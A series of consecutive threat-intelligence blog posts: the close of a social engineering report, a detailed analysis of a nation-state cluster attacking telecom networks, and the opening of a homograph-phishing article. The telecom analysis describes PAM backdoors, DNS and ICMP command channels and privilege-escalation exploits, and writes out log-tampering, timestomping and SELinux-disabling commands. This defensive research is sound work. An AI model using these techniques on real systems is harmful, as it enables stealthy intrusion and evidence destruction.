  • Data loss prevention (DLP) policies and data tagging should also account for the likelihood of social engineering-driven access, especially via compromised accounts.

Profit Remains the Primary Driver

Financial gain is the dominant motive across Unit 42 incident response cases, and social engineering attacks are no exception. Nearly all social engineering intrusions between May 2024 and May 2025 were financially motivated (see Figure 5), with threat actors seeking to monetize access through data theft, extortion, ransomware or resale of credentials.

Pie chart titled "Figure 5: Threat Actor Motives" shows 93% Financial Gain, 4% Convenience/Expediency, and 3% Other.

Key Insight

Social engineering remains a preferred access method because it's easy to execute, infrastructure-light and often avoids detection — with attackers reusing tools like phishing kits. The goal is to leverage trust-based access to bypass hardened controls.

Strategic Takeaways

Attackers continue to choose social engineering not for its sophistication, but for its ease, speed and reliability. Detection and response must be tuned to spot data staging, file movement and abnormal system access.

Text in an image reads: "Why Social Engineering Works" with bullet points on technology weak points, human error and trust, and privileged pathways in cybersecurity contexts.

Recommendations for Defenders

Social engineering continues to outperform other access vectors, not through technical sophistication, but by exploiting gaps between people, process and platform. To counter this, defenders must focus on identity resilience, visibility across workflows, and intelligence-led operations. Capabilities such as UEBA and ITDR play an increasingly critical role in identifying abnormal activity and blocking account takeover attempts.

The following eight recommendations draw directly from Unit 42’s incident response caseload and threat research:

Correlate Identity Signals To Detect Abuse Earlier

Attackers often appear legitimate, until anomalous behaviors emerge. Correlating signals across identity, device and session behavior helps security operations teams detect social engineering attacks before they escalate. Platforms such as Cortex XSIAM accelerate this process, enabling faster threat detection and containment without relying on traditional indicators of compromise (IoCs).

Enforce Zero Trust Across Access Pathways

A strong Zero Trust posture limits attacker movement after initial access. Apply conditional access policies that assess device trust, location and login behavior before granting access. Combine least-privilege principles, just-in-time access and network segmentation to restrict lateral movement and reduce impact.

Strengthen the Human Layer With Detection and Training

Employees are part of the detection surface. Harden common attack points such as email, browsers and messaging apps with intelligence-led controls. Train frontline teams such as HR and IT support to recognize and report impersonation, voice lures and pretexting. Simulate current attack techniques, including help desk spoofing and MFA manipulation.

Strengthen Detection With Identity and Behavioral Analytics

Detecting social engineering requires visibility beyond traditional indicators. Correlate signals across identity, endpoint, network and SaaS activity to expose escalation attempts early. Capabilities like UEBA and ITDR help surface anomalies such as impersonation, session abuse and credential misuse.

Control and Monitor Illegitimate Use of Native Tools and Business Process Workflows

Attackers can use built-in utilities such as PowerShell or WMI to move undetected. Establish behavioral baselines and alert on anomalies. Map business workflows to uncover where process trust can be exploited, particularly escalation points that rely on fast-track approvals or assumed identity, such as help desk credential resets, finance system overrides or privileged access granted through informal Slack or Teams messages.

Build Resilience Through Simulation and Playbook Readiness

Preparation narrows response gaps. Run live drills based on current social engineering tactics, such as impersonation or chained credential use. Validate playbooks, involve cross-functional teams and integrate Unit 42 threat intelligence into both blue team exercises and user awareness programs.

Enforce Network-Layer Controls

Deploy Advanced DNS Security and Advanced URL filtering to block access to malicious infrastructure. These controls help detect and prevent social engineering attacks that rely on spoofed domains, typo-squatting, SEO poisoning and link-based credential theft. Visibility at the network layer adds a critical line of defense when endpoint or identity-based detection fails.

Lock Down Identity Recovery Paths

Threat actors increasingly target IT help desks to reset credentials and bypass MFA. Strengthen controls around account recovery by enforcing strict identity verification protocols, limiting who can initiate resets, and monitor for unusual request patterns. Help desk staff should receive regular training grounded in real-world threat activity.

Final Thoughts

Social engineering continues to evolve, but its success still depends on trust. Defenders must think beyond malware and infrastructure controls. The new perimeter is shaped by people, processes and the decisions they make in real time. The recommendations in this section are designed to strengthen those decisions and create an environment where trust cannot be easily exploited.

How Palo Alto Networks Can Help

Palo Alto Networks provides unified security platforms that empower organizations to defend against both highly targeted and broad social engineering threats.

Cortex XSIAM and Cortex XDR transform the security operations center (SOC) with unified visibility and protection — blocking endpoint threats, adding email security features and enabling AI-powered detection, investigation and response across any data source.

Advanced WildFire, Advanced URL Filtering and Advanced DNS Security further strengthen defenses by using AI-driven analysis to block phishing, malware, and malicious web content before they reach users.

Prisma Access and Prisma AIRS extend protection to remote workers, enabling consistent policy enforcement and threat prevention everywhere. Prisma Access Browser adds secure web browsing and isolation from web-based threats on any device.

To help organizations stay resilient and proactive, the Palo Alto Networks Unit 42 Retainer and Proactive Services offer 24/7 incident response and access to the latest threat intelligence. By integrating Unit 42 intelligence into employee training programs, organizations can help keep their workforce alert to emerging social engineering tactics, closing the gap between attacker innovation and defender awareness. This holistic approach helps operationalize Zero Trust, secure the human attack surface, and enable rapid response to evolving threats.

Data and Methodology

The mission of this report is to provide readers with a strategic understanding of existing and anticipated threat scenarios, enabling them to implement more effective protection strategies.

We sourced data for this report from more than 700 cases Unit 42 responded to between May 2024 and May 2025. Our clients range from small organizations with fewer than 50 personnel to Fortune 500 and Global 2000 companies and government organizations with more than 100,000 employees.

The affected organizations were headquartered in 49 unique countries. About 73% of the targeted organizations in these cases were located in North America. Cases related to organizations based in Europe, the Middle East and Asia-Pacific form the other approximately 27% of the work. Attacks frequently have impact beyond the locations where organizations are headquartered.

Findings may differ from those published in the January 2025 Global Incident Response Report, which analyzed IR cases from October 2023 to October 2024. Differences in percentages reflect both the different timeframes and the focused nature of this report, which emphasizes social engineering-specific intrusions across verticals.

We excluded some factors in our data that might compromise our analytical integrity. For example, we supported customers investigating possible effects of CVE-2024-3400, causing this vulnerability to appear with unusual frequency in our data set. Where necessary, we recalibrated the data to address any statistical imbalances.

Appendix

Industries Most Impacted by Social Engineering Attacks

According to Unit 42 IR data from May 2024 to May 2025, high tech was the most targeted sector across all confirmed intrusions. But when isolating for social engineering, manufacturing emerged as the most impacted. This shift highlights how attacker tactics vary by industry profile. See Figure 6 for the full sector-by-sector breakdown.

Bar chart titled "Figure 6. Data Exposure Distribution: Social Engineering vs. All Attacks" showing percentage distribution across various sectors. Manufacturing has the highest percentage for Social Engineering at 15%, while High Tech has the highest for Other Attacks at 17%. Other sectors included are Professional/Legal, Wholesale/Retail, Financial Services, and Healthcare, with percentages ranging from 9% to 15% for Social Engineering and 6% to 17% for Other Attacks. Social engineering attacks are indicated in yellow and other attacks in red.

Updated July 31, 2025 at 12:45 p.m. PT to add social engineering tactic percentage.

Updated Aug. 1, 2025, at 4:45 p.m. PT for copyediting and minor corrections. Updated Figures 1, 3, 4 and 6. 

The Covert Operator's Playbook: Infiltration of Global Telecom Networks

Posted on by Erica Naone

Executive Summary

Unit 42 has observed multiple incidents targeting the telecommunications industry in Southwest Asia. We are currently tracking this activity as CL-STA-0969. This activity includes attacking and leveraging interconnected mobile roaming networks. This report provides a technical analysis of the activity cluster based on our incident response engagements including observed tactics, techniques and procedures (TTPs).

We found no clear evidence of data collection or exfiltration from the investigated systems and networks, nor any attempts to track or communicate with target devices within mobile networks. However, the threat actor behind CL-STA-0969 maintained high operational security (OPSEC) and employed various defense evasion techniques to avoid detection.

The actors deployed several tools within the compromised networks and set up communication capabilities that provide resilient remote control for future objectives. They used tools like Cordscan — designed to collect location data from mobile devices — which suggests that obtaining victim location data was a likely objective.

With high confidence, we assess this activity is associated with a nation-state nexus. Based on observed activity and victimology, this cluster heavily overlaps with activity attributed to Liminal Panda, a nation-state adversary tracked by CrowdStrike.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Top Cyber Threats, Backdoor, PingPull, Gallium

CL-STA-0969 Threat Overview

CL-STA-0969 activity we observed occurred between February and November 2024. While this cluster significantly overlaps with Liminal Panda, we have also observed overlaps in attacker tooling with other reported groups and activity clusters, including Light Basin, UNC3886, UNC2891 and UNC1945.

The threat actor behind this activity used a variety of custom tools. They also used publicly available tools like:

The threat actor behind the attack maintained a high level of OPSEC and remained undetected by employing various techniques such as:

  • Tunneling traffic over DNS
  • Routing traffic through compromised mobile operators
  • Clearing authentication logs
  • Disguising process names

Timeline of Events

Between February and November 2024, we identified ongoing and targeted threat actor activity aimed at critical telecommunications infrastructure as shown in Figure 1. Our evidence from triage analysis, threat hunting and collaboration with the client's telecommunications vendor suggests the initial compromise likely originated from a brute-force attack against authentication mechanisms within their telecommunication infrastructure.

Diagram illustrating the lifecycle of a cyber attack in eight stages, including initial compromise, credential access, lateral movement, and discovery, leading to final actions such as data exfiltration, with each stage linked by arrows. Icons representing computers, network connections, and security breaches are used to visualize each step. Palo Alto Networks and Unit 42 logo lockup.
Figure 1. High-level chain of events in the attack investigated by Unit 42.

Attacker Tooling and Tactics

We observed that the threat actors used a wide range of custom tools designed for telecom environments, including implants such as:

These tools abused common protocols like SSH, ICMP, DNS and GTP to maintain access, execute commands and establish covert command-and-control (C2) channels.

Their tactics to maintain strong OPSEC included using:

  • Pluggable authentication module (PAM) backdoors
  • Process name masquerading
  • Log tampering
  • Disabling SELinux to avoid detection

​​Their use of custom tools designed for telecom environments suggests a deep understanding of the targeted infrastructure and an intent to evade standard security controls.

Initial Access

Despite their high level of OPSEC, substantial evidence points to attackers gaining initial access via SSH brute force. To do this, they used a well-tuned account dictionary list that included built-in accounts specific to telecommunications equipment.

AuthDoor

The threat actor implemented a backdoor in the PAM on certain hosts by overwriting the legitimate pam_unix.so (or pam_unix2.so) file. While Mandiant reported a similar backdoor named SLAPSTICK, the version we observed was simpler and less sophisticated. We are tracking this sample as AuthDoor.

The backdoor successfully hooks itself into the pam_sm_authenticate function, validates the password and then opens the file /usr/bin/.dbus.log in read-only mode to check if the captured credentials are already present. The captured credentials are encoded in ASCII hex format.

If the credentials do not exist or are different because they were renewed, the library will update the file. To do so, it first creates a new file named a in the working directory, writes the credentials into it and then renames that temporary file to /usr/bin/.dbus.log.

A screenshot of a computer code snippet written in the C programming language, including conditional statements and file operations.
Figure 2. Writing of captured credentials by AuthDoor.

The backdoor provided other functionalities similar to SLAPSTICK, including user access to a targeted host via a hard-coded magic password that allows for persistent access, ​​even if user passwords are changed.

The library also includes functionality to enumerate and execute files located in /var/spool/.network/. At the time of investigation, there was no indication that this particular activity had occurred.

Cordscan

Cordscan is a custom-made network scanning and packet capture utility with built-in logic for the application layer of telecommunications systems. According to CrowdStrike, this tool is leveraged to target Serving GPRS Support Nodes (SGSN), which are responsible for packet-data delivery to and from mobile stations and contain location information for registered GPRS users.

This sample includes the following usage instructions, as shown in Figure 3, detailing all available switches.

Screenshot of code containing various network commands and parameters, such as interface specifications, TCP scan settings, FTP version details, and options for network capture and filters.
Figure 3. Command line flags for Cordscan tool.

The two key command-line switches in this case are:

  • --imsi: This holds an International Mobile Subscriber Identity (IMSI), a unique 15-digit number that identifies a specific subscriber on a mobile network
  • --oper: This holds a six-digit number that points to a specific mobile operator, also known as a Home Network Identity (HNI)

The contents of the configuration extracted from Cordscan are shown in Table 1.

Configuration Field Configuration Value
pingtimeout 3
tcpsyntimeOut 3
goctetOffset 2
tcp_hdr_option_wan  
tcp_common_portlist 22,23,80,139,443,445,3389,8000,8080,11101
huawei_usn_portlist 22,944,311,101
huawei_ugw_portlist 2,260,008,000
huawei_stp_portlist 60,998,009,800,180,000,000,000,000,000,000,000,000,000,000
pco 0x218080
qos  
global_portlistSize 10
maxport 65535
minport 1
pdusendSock 0xFFFFFFFF
gtpver 1
targetImsi <redacted>
targetOperator <redacted>
capturefileName packet.pcap

Table 1. Configuration data extracted from the Cordscan sample.

The targetOperator variable holds a value that points to a mobile operator. The value for this in the incidents we worked pointed to a telecommunications operator based in East Asia.

CapturefileName defaults to packet.pcap as the output file if the -w switch does not specify an alternative.

Attackers hard coded an IP address within a function called gtpsgsncontextreqMethod, which creates a UDP socket named ggtpscanSocket. This function builds a packet with the hard-coded IP address as the destination and port 2123 as the UDP port. The packet also includes targetOperator and targetImsi values. The function then sends this packet to the created socket. This functionality is executed when the -sG switch is provided on the command line.

GTPDoor

We observed another Linux-based implant, predominantly known as GTPDoor. According to a detailed analysis by security researcher HaxRob, GTPDoor is deployed in telecommunications networks adjacent to GRX.

This implant communicates C2 traffic over GTP-C (GPRS Tunneling Protocol - Control Plane) signaling messages. This is achieved by listening for UDP packets on port 2123, effectively tunneling C2 traffic and bypassing traditional security controls. GTPDoor also has remote code execution and beaconing capabilities.

EchoBackdoor

This backdoor passively listens for ICMP echo request packets containing its C2 instructions. The payload within these packets begins with a decryption key. This key is used to decrypt the remainder of the payloads, which consists of 14-byte chunks. Each chunk, sent in independent ICMP echo request packets, represents a portion of the command to be executed on the compromised system. The backdoor reconstructs the complete command from these decrypted chunks.

Upon execution of the command, the backdoor transmits the results back to the C2 server via an unencrypted ICMP Echo Reply packet. This passive approach contrasts with malware families like PingPong, which actively connect to a C2 server upon receiving a trigger ICMP ECHO packet. EchoBackdoor relies solely on inbound ICMP Echo Requests for receiving commands.

SGSN Emulator

SGSN Emulator (sgsnemu) is part of the OsmoGGSN project and implements a Serving GPRS support node (SGSN) emulator. It emulates an interface called GN/Gp, which is used with Gateway GPRS support nodes (GGSNs).

This emulator enables the threat actor to establish a point-to-point connection with another roaming operator using specific telecommunication protocols across the GRX network. This allows them to bypass firewall restrictions and network intrusion detection systems often found in enterprise IT networks.

The script executes the SGSN emulator, attempting to connect to a pair of International Mobile Subscriber Identity (IMSI) and Mobile Subscriber Integrated Services Digital Network (MSISDN) numbers. As reported by CrowdStrike, these numbers identify specific mobile devices or mobile stations, enabling the SGSN emulator to create tunnels. The script also passes Routing Area Information values to the emulator.

Packet Data Protocol (PDP) context requests for mobile stations with the IMSI/MSISDN number pair are generated to establish a connection. Once established, the SGSN emulator connects to the device via the GPRS Tunneling Protocol (GTP) and uses the tun0 interface for the connection.

Next, the script waits for a second. It then adds a route for an internal IP address via the tun0 interface created by the SGSN emulator and pings that IP address to check connectivity through the newly established tunnel. Finally, it starts a SOCKS proxy by executing the Microsocks proxy tool.

ChronosRAT

ChronosRAT is a new piece of malware. This 32-bit ELF executable will drop two files on the file system: /usr/local/bin/chargen and /usr/local/bin/daytime

  • daytime is a watchdog process that supervises the execution of chargen, restarting it if necessary to ensure persistent operation of the backdoor
  • chargen is the backdoor communicating with its C2 server using TCP
    • Communication between both sides is encrypted using AES
    • This key can be updated dynamically using an RSA key hard coded in the executable

The backdoor is composed of multiple modules, each implementing one of the following commands:

  • Shellcode execution
  • File manager
  • Keylogger
  • Port forwarding
  • Remote shell
  • Screenshot
  • Socks proxy

The configuration of the backdoor can be either hard coded into the executable or stored in an accompanying file named err. It also supports an “online mode” that allows the backdoor to receive a new configuration from an incoming ICMP or UDP packet. When using UDP, the backdoor expects a DNS packet containing the Base64-encoded configuration within the domain name.

NoDepDNS

This new backdoor is developed in Golang. Its developers internally named it MyDns based on its debugging symbols.

The backdoor creates a raw socket using net/ipv4/NewRawConn and passively listens for UDP traffic on port 53. It uses the miekg/dns library to parse DNS messages.

A screenshot displaying a segment of computer code written in C programming language, using functions and conditional statements.
Figure 4. Snippet showing translation of IP addresses to command line for execution.

Commands are executed by setting the DNS question field to pgw-s5s8.mpgw001.node. Multiple IP addresses in the response then form the XOR-encoded (key: funnyAndHappy) bash command. Each byte of the IP addresses corresponds to one encrypted character of the command. Figure 4 shows a code snippet from the backdoor. This is a great example of the threat actor exhibiting a highly complex and stealthy form of malicious communication through DNS tunneling.

Surprisingly, this command output is not returned to the sender. This makes it a less effective tool for operators.

A shell script checked this backdoor every 10 seconds to see if NoDepDNS became a zombie process. If this was the case, the script would kill the defunct process. This script also maintained a network connection to a specific target and terminated any other threat actors’ processes if necessary. Another shell script restarted this process.

Privilege Escalation

Due to the mission-critical nature of telecommunications nodes and the high cost of downtime, these systems often run older operating systems with unpatched vulnerabilities. Consequently, the threat actor exploited one of the following vulnerabilities to easily escalate to root privileges:

  • CVE-2016-5195 (DirtyCoW): A race condition in the Linux kernel versions 2.x-4.x before 4.8.3 allows local users to gain privileges by exploiting incorrect handling of the copy-on-write (CoW) feature. This enables them to write to a read-only memory mapping. The exploit created multiple artifacts, including a user named firefart that the threat actor carefully deleted after use to further conceal their activity. This activity also demonstrates that the threat actor understands the tools being used and adapts their procedures accordingly.
  • CVE-2021-4034: This is a memory corruption vulnerability in the Set User ID (SUID) binary pkexec, a part of the Unix component Polkit. SUID binaries run with the privileges of the owner, making them a prime target for privilege escalation. The threat actor used PwnKit, a self-contained exploit for CVE-2021-4034.
  • CVE-2021-3156: This is a heap-based buffer overflow vulnerability in sudo. The threat actor used a Python script, exploit_userspec.py, which is part of the CVE-2021-3156 exploit repository.

SSH Reverse Tunneling

CL-STA-0969 leveraged different shell scripts that established a reverse SSH tunnel along with other functionalities. The SSH commands are typically in the format shown in Figure 5.

Code describing the use of the SSH command for port forwarding, including syntax for specifying listening and destination addresses, and remote server details.
Figure 5. Example of SSH commands used for reverse SSH tunneling.

All reverse SSH tunnels we observed used destination port 22 and remote server port 53. This command connects to the remote server on port 53 and establishes a listener. Connections to the listener are then forwarded through the SSH tunnel back to the originating system and onto an internal server on the target network (port 22). The traffic is then forwarded to the destination address, which is an internal server on the target network.

CL-STA-0969's use of port 53 is unusual but consistent with this cluster’s tactics. Port 53 is often open on networks for DNS functionality, particularly within roaming GRX networks for mobile routing.

Defense Evasion

CL-STA-0969 systematically clears logs and deletes executables when they are no longer needed, to maintain a high degree of OPSEC.

The group relied on utmpdump, a legitimate program installed by default in Linux distributions, to dump the contents of the wtmp log file. It used sed — a stream editor for filtering and transforming text — to issue commands that selectively removed lines containing their IP address from the dumped log file. This sanitized the logs without using potentially detectable tools for direct modification, as shown in the code excerpt shown in Figure 6.

Text showing UNIX commands dealing with log files and searching for an IP address. Commands include utmpdump, sed, rm, find, and last.
Figure 6. Commands used to dump and sanitize log files.

The group first systematically set the HISTFILE environment variable to /dev/null to not write their session into ~/.bash_history.

Process Name Masquerading

When deploying tools for persistence, the group often hid executables with convincing names tailored to the client environment:

  • These names could mimic kernel thread naming conventions, such as [kpqd] or [watchdog/1] making them appear to be legitimate system processes
  • It employed obscure prefixes used for telecommunication tools, showing deliberate inspection of legitimate tools on the machine to find an appropriate name
  • If the host lacked specialization, the group could use names like httpd -D, spawning multiple threads to replicate Apache HTTP server's typical behavior, making the malicious process blend in with legitimate web server activity
  • The group also used the dbus- prefix for its executables such as dbus-console or dbus-send

The threat actor timestomped executables using the touch command (e.g., touch -r /usr/bin/time /usr/bin/<file>). It used this technique to impede analysis of the file system's timeline during forensic investigation. The backdoored pam_unix.so (AuthDoor) module hard coded the command shown in Figure 7.

Text displaying a Unix command.
Figure 7. Command hard coded by the AuthDoor module.

Impair SELinux

Security-Enhanced Linux (SELinux) was disabled on the hosts. This was likely to:

  • Disable the extra logging provided by SELinux
  • Prevent AuthDoor from crashing

We observed modifications to the SELinux configuration file /etc/selinux/config to temporarily disable SELinux, followed by executing setenforce 0 to set the SELinux enforcement mode to “Permissive.” In permissive mode, SELinux logs policy violations but does not block them.

During threat hunting, we found a web server exposing an open directory with executables named similarly to the CL-STA-0969 toolkit. One of them was a script named installnow.sh with the content shown in Figure 8.

Image showing a Unix command line interface with a code snippet that modifies a configuration.
Figure 8. Content of installnow.sh script.

Additional Tooling

FScan

FScan is an intranet scanning tool. FScan or variants have been used by threat groups and campaigns such as Stately Taurus, SLOW#TEMPEST, UNC5174, UNC4841, Earth Estries and FishMonger.

We observed the threat actor using this tool to scan the network for the following ports in /24 network ranges:

  • 22 (SSH)
  • 80 (HTTP)
  • 135 (Microsoft RPC)
  • 139 (NetBIOS Session Service)
  • 443 (HTTPS)

The threat actor pinged each discovered host to check accessibility via ping as shown in Figure 9, potentially to look for available hosts to deploy an ICMP backdoor.

Image showing a green code snippet with a ping command.
Figure 9. Ping command used by the threat actor.

Responder

Responder is an open-source meddler-in-the-middle (MiTM) tool that exploits broadcast name resolution protocols such as:

  • Link Local Multicast Name Resolution (LLMNR)
  • NetBIOS name resolution (NBT-NS)
  • Multicast Domain Name System (MDNS)

Observed commands suggest Responder was used to exploit Windows Proxy Automatic Detection (WPAD). WPAD allows browsers to automatically discover and use proxy servers without manual configuration. This can be exploited to force the target system to interact with a rogue WPAD proxy server, enabling the capture of NTLM credentials from neighboring hosts.

Microsocks

Microsocks is an open-source tool that sets up a SOCKS5 server for pivoting or tunneling network activity.

Fast Reverse Proxy

Fast Reverse Proxy (FRP) is a tool that exposes local servers behind network address translations (NAT) or firewalls to the internet. The threat actor deployed FRP client version 0.37.1 using the commands shown in Figure 10.

Code snippet showing commands manipulating files related to an HTTP daemon, including moving, updating timestamps, and editing configuration.
Figure 10. Commands used to deploy FRP client.

The content of its configuration file httpd.conf is shown in Figure 11.

Code snippet displaying configuration settings for a server connection, including IP address, port number, company name, communication type, plugin used, and administration privileges.
Figure 11. Content of httpd.conf.

ProxyChains

ProxyChains is an open-source UNIX program that forces the transmission of network traffic through different proxies. The threat actor used this tool to transfer files to neighboring hosts via SCP.

In the following example, it used ProxyChains to tunnel the SCP connection through the proxies defined in /etc/proxychains4.local1084.conf as shown in Figure 12. We also note that it used sshpass to provide the password non-interactively, because some backdoors preclude interactive use.

Code snippet showing configuration settings for proxychains and sshpass, with file paths and IP address details.
Figure 12. Use of ProxyChains to tunnel an SCP connection.

Conclusion

CL-STA-0969 demonstrates a deep understanding of telecommunications protocols and infrastructure. Its malware, tools and techniques reveal a calculated effort to maintain persistent, stealthy access. It achieved this by proxying traffic through other telecom nodes, tunneling data using less-scrutinized protocols and employing various defense evasion techniques. Organizations relying on legacy hosts and services within the targeted infrastructure increases vulnerability to such attacks.

CL-STA-0969's multi-pronged operational strategy, combining technical expertise with environmental adaptation, underscores the need for vigilant security measures and proactive threat intelligence.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

SHA256 hash:

  • bacbe2a793d8ddca0a195b67def527e66d280a13a8d4df90b507546b76e87d29
  • Filename: dbusquery
  • File description: Cordscan

SHA256 hash:

  • 1852473ca6a0b5d945e989fb65fa481452c108b718f0f6fd7e8202e9d183e707
  • Filename: libcord.so
  • File description: Cordscan

SHA256 hash:

  • 705a035e54ce328227341ff9d55de15f4e16d387829cba26dc948170dac1c70f
  • Filename: /tmp/catlog
  • File description: Fscan

SHA256 hash:

  • 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
  • Filename: pslogs
  • File description: Pwnkit

SHA256 hash:

  • e3b06f860b8584d69a713127f7d3a4ee5f545ad72e41ec71f9e8692c3525efa0
  • Filename: httpdd
  • File description: Fast Reverse Proxy

SHA256 hash:

  • efa04c33b289e97a84ec6ab1f1b161f900ed3b4521a9a69fb6986bd9991ecfc6
  • Filename: vmware-daemon.py
  • File description: Responder

SHA256 hash:

  • 827f41fc1a6f8a4c8a8575b3e2349aeaba0dfc2c9390ef1cceeef1bb85c34161
  • Filename: dnsd_el5
  • File description: GTPDoor

SHA256 hash:

  • 3c42194d6c18a480d9a7f3f7550f011c69ff276707e2bae5e6143f7943343174
  • Filename: dbus-socks | evip-socks
  • File description: Microsocks proxy

SHA256 hash:

  • b9f67565b56c9464462fa52d937202eef0b5554993c6b2bec8c955db64460cc7
  • Filename: dbus-console
  • File description: SGSN Emulator

SHA256 hash:

  • 188861d7f0861103886543eff63a96c314c8262dbf52c6e0cf9372cf1e889d52
  • Filename: evip-echo | pickup
  • File description: EchoBackdoor

SHA256 hash:

  • 4985de6574ff34009b6c72504af602a21c152ec104b022d6be94e2fec607eb43
  • Filename: start_evip_daemond
  • File description: Launching script for EchoBackdoor

SHA256 hash:

  • 0bb3b4d8b72fec995c56a8a0baf55f2a07d2b361ee127c2b9deced24f67426fd
  • Filename: stop_evip_daemond
  • File description: Terminating script of EchoBackdoor

SHA256 hash:

  • aa661e149f0a6a9a61cadcca47a83893a9e6a5cdb41c3b075175da28e641a80f
  • Filename: cupsd | audittd
  • File description: NoDepDNS

SHA256 hash:

  • 3191e1516f39d72191e6c89460f7273826e12d493577b75b6fdee036c85e5a7e
  • Filename: watchdogdd
  • File description: watchdog script to ensure NoDepDNS is running

SHA256 hash:

  • 9e1f5a134d13167a9148f2d5a1e6a96136d22ecdfbc502aa974544e7efe16a22
  • Filename: sshtun
  • File description: Sets up SSH tunneling and executes watchdogdd

SHA256 hash:

  • edb6ab4bba4d474e60ff266af230cb6c438056937b262f86d3779bdc14de72a4
  • Filename: getfile
  • File description: Python-based command to download a file via HTTP

SHA256 hash:

  • b1e473dd70732ba34b7e985422bfd44f3883379569d89bee523f4263c7070fd9
  • Filename: exploit_userspec.py
  • File description: Python script to exploit a known vulnerability CVE-2021-3156 for privilege escalation

SHA256 hash:

  • 8e2dd7ed7c7bec7ff6ab69990c3172b1a9c2028f67b02f6f8c5429e968d2f8d2
  • Filename: /usr/bin/dnsd
  • File description: C2 tool via SSH tunneling

SHA256 hash:

  • 3e186c24bae58de14b14332a6b14d269b84235a25a892f1327002149f0547739
  • Filename: /usr/bin/autoreverse
  • File description: Similar behavior as sshtun

SHA256 hash:

  • 432125ca41a2c5957013c8bff09c4037ad18addccab872d46230dd662a2b8123
  • Filename: /tmp/httpds
  • File description: ChronosRAT

SHA256 hash:

  • 540f60702ee5019cd2b39b38b07e17da69bde1f9ed3b4543ff26e9da7ba6e0be
  • Filename: pam_unix.so
  • File description: AuthDoor

SHA256 hash:

  • cd754125657f1d52c08f9274fda57600e12929847eee3f7bea2e60ca5ba7711d
  • Filename: pam_unix.so
  • File description: AuthDoor

SHA256 hash:

  • b9c91face6ddfecc26d444f891c24796dbc953fb33145749f30b17445400c87c
  • Filename: /usr/bin/clearinfo
  • File description: Similar behavior as watchdogdd

Additional Resources

Updated on July 29, 2025, at 4:46 p.m. PT to correct second-to-last SHA256 hash. 

Updated on Aug. 4, 2025, at 11:45 a.m. PT to update product protections information. 

Updated on Sept. 4, 2025, at 9:42 a.m. PT to correct the Microsocks proxy indicator hash

The Ηоmоgraph Illusion: Not Everything Is As It Seems

Posted on by Samantha Stallings

Executive Summary

Since the creation of the internet, email attacks have been the predominant attack vector for spreading malware and gaining initial access to systems and endpoints. One example of an effective email compromise technique is a homograph attack. Attackers use this content manipulation tactic to evade content analysis and trick users by replacing Latin characters with similar-looking characters from other Unicode blocks.

This article provides rare insights into real homograph attacks, and demonstrates the full chain of events that can potentially lead to exploitation of targets. We outline three cases that we detected in the wild. In each scenario, threat actors used homograph attacks in different contexts within email messages, to avoid natural language detections and reach target inboxes.

Attackers can make homograph manipulations to domain names or within an email’s content and headers, as part of a larger attack scheme that aims to establish initial access to a target. The presence of homographs in multiple fields within an email can make it appear more legitimate, while evading analysis and alerts on these fields.

To get their message across, threat actors craft email content that appears to be legitimate. This increases the likelihood that targets will interact with malicious content. As the success of this attack relies almost completely on the recipient’s impression of and interaction with the message, it is important to intercept and prevent such communication from reaching potential victims.

Palo Alto Networks customers are better protected from homograph attacks by Palo Alto Networks Cortex Advanced Email Security, which analyzes email content, headers and communication patterns. This can be combined with Cortex XSOAR, which quarantines and removes mails for all recipients, blocks malicious and compromised senders, and disables affected user accounts.

The Attack Surface Management add-on for Cortex XSIAM also includes new Digital Risk Protection, which has the ability to detect potentially risky services, including those that use homographs.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Phishing

What is a Homograph Attack?

To the human eye, the title of this article seems completely normal. But in fact, the word Ηоmоgraph in the title is not exactly the same as the word Homograph.

The differences are small, and hard to recognize. Ηоmоgraph actually includes several letters that are not Latin characters. In this case we’ve substituted the letter H with the Greek homoglyph Η and the letter o with the Cyrillic homoglyph о. Automated defenses that analyze the word will not recognize it as the word it appears to be and therefore might consider it to be valid or skip the manipulated word during analysis.

A homograph attack incorporates non-Latin characters that visually resemble Latin characters to create words. These words might look the same as their genuine counterparts to the human eye, but to a large language model (LLM) — or any computer system — they are actually different.

This attack essentially exploits the appearance of characters from different scripts — such as Cyrillic, Greek and others — that resemble the standard Latin characters that English speakers generally use when working on a computer.

A malicious actor who replaces Latin characters with lookalike non-Latin characters could evade detection and analysis, crafting malicious emails that can lead to credential theft, malware infection or other forms of exploitation. For example, substituting the Latin letter a with the Cyrillic а in the fictional brand “Airplаnes R Us” can make a fraudulent email from an attacker seem like a completely authentic email from Airplanes R Us to the human eye.

The rise of AI-driven phishing makes this an even more dangerous vector. AI can be used to generate highly convincing emails, making it easier for threat actors to create legitimate-looking emails en masse and harder to distinguish real and malicious emails from each other.

Threat actors usually incorporate homograph attacks into a larger attack scheme to lure targets to engage with malicious content. By manipulating various fields within the email using homograph characters, threat actors aim to:

  • Deceive users: Visual similarities can trick recipients into trusting fraudulent emails.
  • Bypass security filters: Conventional security solutions might not detect these character substitutions and would categorize the emails as legitimate.
  • Impersonate trusted entities: Accurate mimicry of brands and roles increases the likelihood of recipient engagement.

Theory of Detection

While manipulated words may appear to be identical (or very similar) to the human eye, homograph characters can be detected by examining their Unicode values. The Unicode standard assigns a unique numerical value to each character, allowing computers to represent text from different languages and character scripts.

Each character set (e.g., Latin, Cyrillic, Greek) is assigned a specific range of numerical values. The Unicode organization's website provides a comprehensive list of these character sets and their corresponding values.

Each character set is assigned a specific range of Unicode values, with each value corresponding to a character (e.g., letter, number, symbol) within that script. Analyzing the characters’ values reveals which script it actually belongs to, enabling the detection of characters from other scripts that are hiding among characters from another script.

Observations of Homograph Technique Used in Phishing Attacks

Our analysis of email messages containing homograph attacks highlights key techniques including:

  • Well-known brand impersonation
  • Impersonation of services (e.g., document-sharing platforms, IT personnel)

